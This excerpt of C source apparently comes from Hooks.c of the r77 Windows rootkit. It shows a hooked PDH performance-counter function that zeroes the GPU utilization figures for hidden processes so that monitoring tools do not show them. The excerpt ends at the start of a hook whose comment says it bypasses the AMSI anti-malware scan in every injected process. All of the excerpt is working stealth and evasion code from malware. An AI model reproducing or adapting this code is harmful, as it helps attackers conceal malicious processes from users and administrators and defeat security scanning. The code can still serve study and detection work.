Function HookedPdhGetFormattedCounterArrayW

r77/Hooks.c:872–903

	return status;
}
static PDH_STATUS WINAPI HookedPdhGetFormattedCounterArrayW(PDH_HCOUNTER counter, DWORD format, LPDWORD bufferSize, LPDWORD itemCount, PNT_PDH_FMT_COUNTERVALUE_ITEM_W itemBuffer)
{
	PDH_STATUS status = OriginalPdhGetFormattedCounterArrayW(counter, format, bufferSize, itemCount, itemBuffer);

	if (status == ERROR_SUCCESS && itemCount && itemBuffer)
	{
		DWORD infoBufferSize = 0;
		if (R77_PdhGetCounterInfoW(counter, FALSE, &infoBufferSize, NULL) == PDH_MORE_DATA)
		{
			PNT_PDH_COUNTER_INFO_W info = (PNT_PDH_COUNTER_INFO_W)NEW_ARRAY(BYTE, infoBufferSize);
			if (R77_PdhGetCounterInfoW(counter, FALSE, &infoBufferSize, info) == ERROR_SUCCESS)
			{
				if (!StrCmpW(info->FullPath, L"\\GPU Engine(*)\\Utilization Percentage"))
				{
					for (DWORD i = 0; i < *itemCount; i++)
					{
						if (GetIsHiddenFromPdhString(itemBuffer[i].Name))
						{
							itemBuffer[i].FmtValue.LongValue = 0;
							itemBuffer[i].FmtValue.DoubleValue = 0;
							itemBuffer[i].FmtValue.LargeValue = 0;
						}
					}
				}
			}

			FREE(info);
		}
	}

	return status;
}
static HRESULT WINAPI HookedAmsiScanBuffer(LPVOID amsiContext, LPVOID buffer, ULONG length, LPCWSTR contentName, LPVOID amsiSession, LPDWORD result)
{
	// Bypass AMSI in every process that is injected with r77.